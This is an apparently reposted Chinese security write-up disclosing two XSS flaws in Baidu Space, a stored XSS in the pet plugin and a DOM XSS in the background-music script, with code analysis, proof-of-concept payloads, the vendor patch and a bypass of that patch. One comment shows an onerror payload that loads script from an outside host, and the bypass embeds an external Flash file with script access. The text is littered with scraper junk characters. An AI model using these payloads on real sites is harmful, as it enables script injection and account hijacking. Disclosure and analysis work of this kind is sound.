百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 7 m% A* G) J2 P
8 L0 I8 x1 i& T
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
$ q7 j: l$ F! O. _2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
2 V9 O3 D% U4 T* r# t* E+ E5 x* l% q5 r! K& i5 m/ Q) Q6 ~
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
0 r2 z% Z. T) e! b, N9 b其中BdUtil.insertWBR为
' V" ^, ~) W9 n2 R9 p8 nfunction(text, step) {
6 x+ Z9 X4 B& ]8 A+ N& L& q) \ var textarea = textAreaCache || getContainer();
( V' m3 f- O: a" o if (!textarea) {
j- W6 u$ Q' z8 _: ] return text; 3 b. H# _' o+ l) h, z
} % A. e+ l( Y/ h8 c0 C% u9 ^
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
6 J0 g7 {/ E" `) g: r var string = textarea.value; 9 i2 L7 z3 v( b; j( p
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
, [, S' u( x; [$ a Y var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); ) W$ `" j2 b: l/ S+ ~
return result;
( q2 A. B) V, m g! h3 Z} ( [/ Y2 H; P# _( @: e7 W& ^
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 9 g) J( [& U2 A9 _8 O" n
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
* b' o; F; D, e6 M( b
5 E. V' F( w0 c! ~& Q' K, Q二:creatbgmusic() Dom-Xss Bug 7 j/ `4 t' X: w8 l6 m+ a) ^( {
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
* G" X; n B& B: T- ^: v& u! e w( f# `0 y# v6 ^4 [+ |+ B
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
e! F9 B0 t' x* \, O
/ z4 S6 ^, I4 L; F$ T# Efunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
& L, Q. {! W! X# a! d8 n( ]" A //传入的murl赋值到bgmusic1和bgmusic2中
^. A7 M$ {$ g) T) H //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
5 o! p- C, b. v: ~+ l- w1 n& Q var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
5 H/ g: W5 y" I- e, Y if (musicnum <= 1) {
$ @! Q0 K1 D4 K bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
# c' Q3 ]4 h6 T8 Y } # k: O3 x0 ]# P3 C& k
bgmusic1 += "</OBJECT>";
* D% @2 `* o" H0 R) K- V4 u8 J9 C var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 2 P$ h3 B7 [: I8 l% s* L
if (musicnum <= 1) { 1 o0 M- K6 @$ V
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; 0 H1 u, F4 ?# g
}
4 n0 i% m+ m. a4 |9 b; R bgmusic2 += "> </EMBED>";
) T. ?8 ^$ k* g& n var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; $ q# q5 G L/ t' z, c S4 i
var bgmus = detectWMP(); % M1 Y& o% s: q# j2 f6 k5 N
if (functype == "FckMusicHelper") {
$ K9 q( E N5 Y9 I7 G$ k! C if (bgmus.installed) {
. o: V3 G7 H4 o8 J# D8 N. Y if (bgmus.type == "IE") {
" D& a5 z9 R% E# O7 t return bgmusic1;
8 f3 v: p+ a' R( c& |$ R } else if (bgmus.type == "NS") {
9 }9 g3 D# v+ E* S( Y return bgmusic2;
( l1 W; k$ v1 t) b) T } $ I% F& [3 _ g5 {$ n3 \
} else { 4 `8 V- }9 h& ^: E0 D4 {
return bgmusic3;
( l' U3 r M$ V: g% }" | x, e; z }
, @# p; ~; Y' u6 S: V, C5 ?: F5 {7 z/ M } else { 1 u# L) h8 [7 @8 ^3 N# I
if (bgmus.installed) {
7 V/ M3 z% o& E8 k //document.write 直接输出bgmusic变量 导致xss ) Y8 C( t; F' _/ B* Q' E+ R0 G5 F
if (bgmus.type == "IE") {
" ^6 h+ f" f# F# P( g3 C. f: A document.write(bgmusic1);
5 `' o9 ^4 I1 Y' T" K- t3 j } else if (bgmus.type == "NS") {
4 A2 s4 u3 E" Y' U. E, K document.write(bgmusic2); - P G" ?, X; u. L1 c+ l/ d
} 9 E9 H* v5 Q6 ^% r' A6 y+ h
} else { 5 t" I4 O7 U# x& d* I3 k2 @
document.write(bgmusic3); 7 |( T$ x, L: f2 y
} . H# n0 z2 m. @- @) b, i; D
return "";
: H$ S0 [8 O/ x. Q, d } 6 G: l8 \) }% p |" X3 w
}
; {9 G, P/ h5 ]4 i p9 O% c& W( K1 O `! _1 G1 d4 v
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: : A2 \; V w6 J
" M( @0 b& e/ V/ b
function initBlogTextForFCK(){
7 S7 u4 X! z; I0 M2 `5 t: M//fck init music % Y7 b/ X( I& z$ t8 i
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
9 w( i; Q4 L9 Q1 Kvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
/ E3 k( c% c# c' [' V! n% ]var isAutoPlay=true; ( k5 v9 P0 D. J. ^" U" Q9 ?
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
+ F$ y9 x' l/ ~9 L5 r+ | var img=imgBox;
4 S v' x" B. ^: ]5 S7 {! g1 _ if(img.getAttribute(’rel’)){ 4 r/ C8 G9 j0 f, G! y% B1 g
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc * Z1 c; O4 R; M# \# A( i7 j' d
var musicDiv = document.createElement("SPAN");
+ J( K! {# k1 }' y: u3 g$ z7 x4 ` var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
9 T9 ~) v1 U! N4 Y2 d8 [! C' G * w- R3 e5 [7 s5 }
..........................
; U# L8 ~& w/ ~# x! D
, F) X! r# x% j3 w. g* ? //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
& J1 I' }) |- m9 Y/ ^4 F var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
0 r- L Y: U" o6 b$ L shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); $ F* P8 y0 e7 ^: p6 P J
musicDiv.innerHTML=shtml; $ d9 O- H& @2 n$ {- p; ?) j
i--;n--;
0 t9 y8 P, d: j) W! x0 E }
- P) w3 {+ G# i} ' g" P4 N- z4 G4 F
2 R3 N% Z' Y4 C$ M$ d' r- o从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
7 Y" p$ q1 x( W4 U" M Z6 w & y# E6 t5 Y+ Z0 C) O. u1 d6 z
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
2 c& [/ T4 Z0 D4 h+ ?) r
- ?4 v0 f; S+ y2 }6 W等待官方补丁
7 ~. Y; {6 W4 p' P4 O
* F6 S! @- S @0 ?update 2010年5月13日 ; Q" ^+ b+ Y1 U2 Q1 e
2 U9 W0 t) T, o0 C$ b" b5 X2 P! W
官方补丁:
" ?( _% K* D: F
! h: d- _! _2 ]" \& dvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
" h! ]9 q" q. O. X! k改为: 5 J, v2 U2 O. |7 m+ S, b# B
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); / T$ q) m8 k; {* r7 c
/ N! N7 K) H# Y
update 2010年5月13日 21:50:37 / |5 Q5 [2 i6 J( }. k4 I9 o" ?
$ v' `8 z0 z8 T补丁存在漏洞 没有过滤" 可以继续跨:
2 y" l) u+ G& @5 g# Y2 G" t
3 U- j$ F; I1 L% e# }( k# }4 PNEW POC:
0 F; f9 n* k$ x: A% b# D" ^% l0 \ C/ ?: v/ |' i+ ?- R
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
/ b9 ^( R% x+ e! |2 B3 X4 W! Y0 h. E1 d
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
; T( h1 I$ r* S: o
" E8 @1 T8 j( m' { |